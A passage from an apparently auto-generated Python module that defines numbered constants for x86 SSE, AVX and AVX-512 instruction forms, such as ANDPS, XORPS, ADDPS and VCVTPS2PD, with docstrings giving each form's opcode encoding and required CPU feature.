``VRCPPS ymm1, ymm2/m256``
``VEX.256.0F.WIG 53 /r``
``AVX``
``16/32/64-bit``
"""
RCPSS_XMM_XMMM32: int = 1286
"""
``RCPSS xmm1, xmm2/m32``
``F3 0F 53 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VRCPSS_XMM_XMM_XMMM32: int = 1287
"""
``VRCPSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 53 /r``
``AVX``
``16/32/64-bit``
"""
ANDPS_XMM_XMMM128: int = 1288
"""
``ANDPS xmm1, xmm2/m128``
``NP 0F 54 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VANDPS_XMM_XMM_XMMM128: int = 1289
"""
``VANDPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 54 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VANDPS_YMM_YMM_YMMM256: int = 1290
"""
``VANDPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 54 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VANDPS_XMM_K1Z_XMM_XMMM128B32: int = 1291
"""
``VANDPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 54 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDPS_YMM_K1Z_YMM_YMMM256B32: int = 1292
"""
``VANDPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 54 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1293
"""
``VANDPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.0F.W0 54 /r``
``AVX512DQ``
``16/32/64-bit``
"""
ANDPD_XMM_XMMM128: int = 1294
"""
``ANDPD xmm1, xmm2/m128``
``66 0F 54 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VANDPD_XMM_XMM_XMMM128: int = 1295
"""
``VANDPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 54 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VANDPD_YMM_YMM_YMMM256: int = 1296
"""
``VANDPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 54 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VANDPD_XMM_K1Z_XMM_XMMM128B64: int = 1297
"""
``VANDPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 54 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDPD_YMM_K1Z_YMM_YMMM256B64: int = 1298
"""
``VANDPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 54 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1299
"""
``VANDPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 54 /r``
``AVX512DQ``
``16/32/64-bit``
"""
ANDNPS_XMM_XMMM128: int = 1300
"""
``ANDNPS xmm1, xmm2/m128``
``NP 0F 55 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VANDNPS_XMM_XMM_XMMM128: int = 1301
"""
``VANDNPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 55 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VANDNPS_YMM_YMM_YMMM256: int = 1302
"""
``VANDNPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 55 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VANDNPS_XMM_K1Z_XMM_XMMM128B32: int = 1303
"""
``VANDNPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 55 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDNPS_YMM_K1Z_YMM_YMMM256B32: int = 1304
"""
``VANDNPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 55 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDNPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1305
"""
``VANDNPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.0F.W0 55 /r``
``AVX512DQ``
``16/32/64-bit``
"""
ANDNPD_XMM_XMMM128: int = 1306
"""
``ANDNPD xmm1, xmm2/m128``
``66 0F 55 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VANDNPD_XMM_XMM_XMMM128: int = 1307
"""
``VANDNPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 55 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VANDNPD_YMM_YMM_YMMM256: int = 1308
"""
``VANDNPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 55 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VANDNPD_XMM_K1Z_XMM_XMMM128B64: int = 1309
"""
``VANDNPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 55 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDNPD_YMM_K1Z_YMM_YMMM256B64: int = 1310
"""
``VANDNPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 55 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VANDNPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1311
"""
``VANDNPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 55 /r``
``AVX512DQ``
``16/32/64-bit``
"""
ORPS_XMM_XMMM128: int = 1312
"""
``ORPS xmm1, xmm2/m128``
``NP 0F 56 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VORPS_XMM_XMM_XMMM128: int = 1313
"""
``VORPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 56 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VORPS_YMM_YMM_YMMM256: int = 1314
"""
``VORPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 56 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VORPS_XMM_K1Z_XMM_XMMM128B32: int = 1315
"""
``VORPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 56 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VORPS_YMM_K1Z_YMM_YMMM256B32: int = 1316
"""
``VORPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 56 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VORPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1317
"""
``VORPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.0F.W0 56 /r``
``AVX512DQ``
``16/32/64-bit``
"""
ORPD_XMM_XMMM128: int = 1318
"""
``ORPD xmm1, xmm2/m128``
``66 0F 56 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VORPD_XMM_XMM_XMMM128: int = 1319
"""
``VORPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 56 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VORPD_YMM_YMM_YMMM256: int = 1320
"""
``VORPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 56 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VORPD_XMM_K1Z_XMM_XMMM128B64: int = 1321
"""
``VORPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 56 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VORPD_YMM_K1Z_YMM_YMMM256B64: int = 1322
"""
``VORPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 56 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VORPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1323
"""
``VORPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 56 /r``
``AVX512DQ``
``16/32/64-bit``
"""
XORPS_XMM_XMMM128: int = 1324
"""
``XORPS xmm1, xmm2/m128``
``NP 0F 57 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VXORPS_XMM_XMM_XMMM128: int = 1325
"""
``VXORPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 57 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VXORPS_YMM_YMM_YMMM256: int = 1326
"""
``VXORPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 57 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VXORPS_XMM_K1Z_XMM_XMMM128B32: int = 1327
"""
``VXORPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 57 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VXORPS_YMM_K1Z_YMM_YMMM256B32: int = 1328
"""
``VXORPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 57 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VXORPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 1329
"""
``VXORPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.0F.W0 57 /r``
``AVX512DQ``
``16/32/64-bit``
"""
XORPD_XMM_XMMM128: int = 1330
"""
``XORPD xmm1, xmm2/m128``
``66 0F 57 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VXORPD_XMM_XMM_XMMM128: int = 1331
"""
``VXORPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 57 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VXORPD_YMM_YMM_YMMM256: int = 1332
"""
``VXORPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 57 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VXORPD_XMM_K1Z_XMM_XMMM128B64: int = 1333
"""
``VXORPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 57 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VXORPD_YMM_K1Z_YMM_YMMM256B64: int = 1334
"""
``VXORPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 57 /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VXORPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 1335
"""
``VXORPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 57 /r``
``AVX512DQ``
``16/32/64-bit``
"""
ADDPS_XMM_XMMM128: int = 1336
"""
``ADDPS xmm1, xmm2/m128``
``NP 0F 58 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VADDPS_XMM_XMM_XMMM128: int = 1337
"""
``VADDPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 58 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VADDPS_YMM_YMM_YMMM256: int = 1338
"""
``VADDPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 58 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VADDPS_XMM_K1Z_XMM_XMMM128B32: int = 1339
"""
``VADDPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 58 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VADDPS_YMM_K1Z_YMM_YMMM256B32: int = 1340
"""
``VADDPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 58 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VADDPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1341
"""
``VADDPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.0F.W0 58 /r``
``AVX512F``
``16/32/64-bit``
"""
ADDPD_XMM_XMMM128: int = 1342
"""
``ADDPD xmm1, xmm2/m128``
``66 0F 58 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VADDPD_XMM_XMM_XMMM128: int = 1343
"""
``VADDPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 58 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VADDPD_YMM_YMM_YMMM256: int = 1344
"""
``VADDPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 58 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VADDPD_XMM_K1Z_XMM_XMMM128B64: int = 1345
"""
``VADDPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 58 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VADDPD_YMM_K1Z_YMM_YMMM256B64: int = 1346
"""
``VADDPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 58 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VADDPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1347
"""
``VADDPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 58 /r``
``AVX512F``
``16/32/64-bit``
"""
ADDSS_XMM_XMMM32: int = 1348
"""
``ADDSS xmm1, xmm2/m32``
``F3 0F 58 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VADDSS_XMM_XMM_XMMM32: int = 1349
"""
``VADDSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 58 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VADDSS_XMM_K1Z_XMM_XMMM32_ER: int = 1350
"""
``VADDSS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.0F.W0 58 /r``
``AVX512F``
``16/32/64-bit``
"""
ADDSD_XMM_XMMM64: int = 1351
"""
``ADDSD xmm1, xmm2/m64``
``F2 0F 58 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VADDSD_XMM_XMM_XMMM64: int = 1352
"""
``VADDSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 58 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VADDSD_XMM_K1Z_XMM_XMMM64_ER: int = 1353
"""
``VADDSD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.0F.W1 58 /r``
``AVX512F``
``16/32/64-bit``
"""
MULPS_XMM_XMMM128: int = 1354
"""
``MULPS xmm1, xmm2/m128``
``NP 0F 59 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMULPS_XMM_XMM_XMMM128: int = 1355
"""
``VMULPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 59 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMULPS_YMM_YMM_YMMM256: int = 1356
"""
``VMULPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 59 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMULPS_XMM_K1Z_XMM_XMMM128B32: int = 1357
"""
``VMULPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 59 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMULPS_YMM_K1Z_YMM_YMMM256B32: int = 1358
"""
``VMULPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 59 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMULPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1359
"""
``VMULPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.0F.W0 59 /r``
``AVX512F``
``16/32/64-bit``
"""
MULPD_XMM_XMMM128: int = 1360
"""
``MULPD xmm1, xmm2/m128``
``66 0F 59 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMULPD_XMM_XMM_XMMM128: int = 1361
"""
``VMULPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 59 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMULPD_YMM_YMM_YMMM256: int = 1362
"""
``VMULPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 59 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMULPD_XMM_K1Z_XMM_XMMM128B64: int = 1363
"""
``VMULPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 59 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMULPD_YMM_K1Z_YMM_YMMM256B64: int = 1364
"""
``VMULPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 59 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMULPD_ZMM_K1Z_ZMM_ZMMM512B64_ER: int = 1365
"""
``VMULPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 59 /r``
``AVX512F``
``16/32/64-bit``
"""
MULSS_XMM_XMMM32: int = 1366
"""
``MULSS xmm1, xmm2/m32``
``F3 0F 59 /r``
``SSE``
``16/32/64-bit``
"""
VEX_VMULSS_XMM_XMM_XMMM32: int = 1367
"""
``VMULSS xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 59 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMULSS_XMM_K1Z_XMM_XMMM32_ER: int = 1368
"""
``VMULSS xmm1 {k1}{z}, xmm2, xmm3/m32{er}``
``EVEX.LIG.F3.0F.W0 59 /r``
``AVX512F``
``16/32/64-bit``
"""
MULSD_XMM_XMMM64: int = 1369
"""
``MULSD xmm1, xmm2/m64``
``F2 0F 59 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMULSD_XMM_XMM_XMMM64: int = 1370
"""
``VMULSD xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 59 /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMULSD_XMM_K1Z_XMM_XMMM64_ER: int = 1371
"""
``VMULSD xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.0F.W1 59 /r``
``AVX512F``
``16/32/64-bit``
"""
CVTPS2PD_XMM_XMMM64: int = 1372
"""
``CVTPS2PD xmm1, xmm2/m64``
``NP 0F 5A /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTPS2PD_XMM_XMMM64: int = 1373
"""
``VCVTPS2PD xmm1, xmm2/m64``
``VEX.128.0F.WIG 5A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTPS2PD_YMM_XMMM128: int = 1374
"""
``VCVTPS2PD ymm1, xmm2/m128``
``VEX.256.0F.WIG 5A /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTPS2PD_XMM_K1Z_XMMM64B32: int = 1375
"""
``VCVTPS2PD xmm1 {k1}{z}, xmm2/m64/m32bcst``
``EVEX.128.0F.W0 5A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2PD_YMM_K1Z_XMMM128B32: int = 1376
"""
``VCVTPS2PD ymm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.256.0F.W0 5A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2PD_ZMM_K1Z_YMMM256B32_SAE: int = 1377
"""
``VCVTPS2PD zmm1 {k1}{z}, ymm2/m256/m32bcst{sae}``
``EVEX.512.0F.W0 5A /r``
``AVX512F``
``16/32/64-bit``
"""
CVTPD2PS_XMM_XMMM128: int = 1378
"""
``CVTPD2PS xmm1, xmm2/m128``
``66 0F 5A /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTPD2PS_XMM_XMMM128: int = 1379
"""
``VCVTPD2PS xmm1, xmm2/m128``
``VEX.128.66.0F.WIG 5A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTPD2PS_XMM_YMMM256: int = 1380
"""
``VCVTPD2PS xmm1, ymm2/m256``
``VEX.256.66.0F.WIG 5A /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTPD2PS_XMM_K1Z_XMMM128B64: int = 1381
"""
``VCVTPD2PS xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.0F.W1 5A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2PS_XMM_K1Z_YMMM256B64: int = 1382
"""
``VCVTPD2PS xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.0F.W1 5A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPD2PS_YMM_K1Z_ZMMM512B64_ER: int = 1383
"""
``VCVTPD2PS ymm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.66.0F.W1 5A /r``
``AVX512F``
``16/32/64-bit``
"""
CVTSS2SD_XMM_XMMM32: int = 1384
"""
``CVTSS2SD xmm1, xmm2/m32``
``F3 0F 5A /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTSS2SD_XMM_XMM_XMMM32: int = 1385
"""
``VCVTSS2SD xmm1, xmm2, xmm3/m32``
``VEX.LIG.F3.0F.WIG 5A /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTSS2SD_XMM_K1Z_XMM_XMMM32_SAE: int = 1386
"""
``VCVTSS2SD xmm1 {k1}{z}, xmm2, xmm3/m32{sae}``
``EVEX.LIG.F3.0F.W0 5A /r``
``AVX512F``
``16/32/64-bit``
"""
CVTSD2SS_XMM_XMMM64: int = 1387
"""
``CVTSD2SS xmm1, xmm2/m64``
``F2 0F 5A /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTSD2SS_XMM_XMM_XMMM64: int = 1388
"""
``VCVTSD2SS xmm1, xmm2, xmm3/m64``
``VEX.LIG.F2.0F.WIG 5A /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTSD2SS_XMM_K1Z_XMM_XMMM64_ER: int = 1389
"""
``VCVTSD2SS xmm1 {k1}{z}, xmm2, xmm3/m64{er}``
``EVEX.LIG.F2.0F.W1 5A /r``
``AVX512F``
``16/32/64-bit``
"""
CVTDQ2PS_XMM_XMMM128: int = 1390
"""
``CVTDQ2PS xmm1, xmm2/m128``
``NP 0F 5B /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTDQ2PS_XMM_XMMM128: int = 1391
"""
``VCVTDQ2PS xmm1, xmm2/m128``
``VEX.128.0F.WIG 5B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTDQ2PS_YMM_YMMM256: int = 1392
"""
``VCVTDQ2PS ymm1, ymm2/m256``
``VEX.256.0F.WIG 5B /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PS_XMM_K1Z_XMMM128B32: int = 1393
"""
``VCVTDQ2PS xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.0F.W0 5B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PS_YMM_K1Z_YMMM256B32: int = 1394
"""
``VCVTDQ2PS ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.0F.W0 5B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PS_ZMM_K1Z_ZMMM512B32_ER: int = 1395
"""
``VCVTDQ2PS zmm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.0F.W0 5B /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PS_XMM_K1Z_XMMM128B64: int = 1396
"""
``VCVTQQ2PS xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.0F.W1 5B /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PS_XMM_K1Z_YMMM256B64: int = 1397
"""
``VCVTQQ2PS xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.0F.W1 5B /r``
``AVX512VL and AVX512DQ``
``16/32/64-bit``
"""
EVEX_VCVTQQ2PS_YMM_K1Z_ZMMM512B64_ER: int = 1398
"""
``VCVTQQ2PS ymm1 {k1}{z}, zmm2/m512/m64bcst{er}``
``EVEX.512.0F.W1 5B /r``
``AVX512DQ``
``16/32/64-bit``
"""
CVTPS2DQ_XMM_XMMM128: int = 1399
"""
``CVTPS2DQ xmm1, xmm2/m128``
``66 0F 5B /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTPS2DQ_XMM_XMMM128: int = 1400
"""
``VCVTPS2DQ xmm1, xmm2/m128``
``VEX.128.66.0F.WIG 5B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTPS2DQ_YMM_YMMM256: int = 1401
"""
``VCVTPS2DQ ymm1, ymm2/m256``
``VEX.256.66.0F.WIG 5B /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTPS2DQ_XMM_K1Z_XMMM128B32: int = 1402
"""
``VCVTPS2DQ xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.66.0F.W0 5B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2DQ_YMM_K1Z_YMMM256B32: int = 1403
"""
``VCVTPS2DQ ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.66.0F.W0 5B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTPS2DQ_ZMM_K1Z_ZMMM512B32_ER: int = 1404
"""
``VCVTPS2DQ zmm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.66.0F.W0 5B /r``
``AVX512F``
``16/32/64-bit``
"""
CVTTPS2DQ_XMM_XMMM128: int = 1405
"""
``CVTTPS2DQ xmm1, xmm2/m128``
``F3 0F 5B /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VCVTTPS2DQ_XMM_XMMM128: int = 1406
"""
``VCVTTPS2DQ xmm1, xmm2/m128``
``VEX.128.F3.0F.WIG 5B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VCVTTPS2DQ_YMM_YMMM256: int = 1407
"""
``VCVTTPS2DQ ymm1, ymm2/m256``
``VEX.256.F3.0F.WIG 5B /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VCVTTPS2DQ_XMM_K1Z_XMMM128B32: int = 1408
"""
``VCVTTPS2DQ xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.F3.0F.W0 5B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPS2DQ_YMM_K1Z_YMMM256B32: int = 1409
"""
``VCVTTPS2DQ ymm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.F3.0F.W0 5B /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VCVTTPS2DQ_ZMM_K1Z_ZMMM512B32_SAE: int = 1410
"""
``VCVTTPS2DQ zmm1 {k1}{z}, zmm2/m512/m32bcst{sae}``
``EVEX.512.F3.0F.W0 5B /r``
``AVX512F``
``16/32/64-bit``
"""
SUBPS_XMM_XMMM128: int = 1411
"""
``SUBPS xmm1, xmm2/m128``
``NP 0F 5C /r``
``SSE``
``16/32/64-bit``
"""
VEX_VSUBPS_XMM_XMM_XMMM128: int = 1412
"""
``VSUBPS xmm1, xmm2, xmm3/m128``
``VEX.128.0F.WIG 5C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VSUBPS_YMM_YMM_YMMM256: int = 1413
"""
``VSUBPS ymm1, ymm2, ymm3/m256``
``VEX.256.0F.WIG 5C /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSUBPS_XMM_K1Z_XMM_XMMM128B32: int = 1414
"""
``VSUBPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.0F.W0 5C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSUBPS_YMM_K1Z_YMM_YMMM256B32: int = 1415
"""
``VSUBPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.0F.W0 5C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VSUBPS_ZMM_K1Z_ZMM_ZMMM512B32_ER: int = 1416
"""
``VSUBPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst{er}``
``EVEX.512.0F.W0 5C /r``
``AVX512F``
``16/32/64-bit``
"""
SUBPD_XMM_XMMM128: int = 1417
"""
``SUBPD xmm1, xmm2/m128``
``66 0F 5C /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VSUBPD_XMM_XMM_XMMM128: int = 1418
"""
``VSUBPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 5C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VSUBPD_YMM_YMM_YMMM256: int = 1419
"""
``VSUBPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 5C /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VSUBPD_XMM_K1Z_XMM_XMMM128B64: int = 1420
"""
``VSUBPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 5C /r``
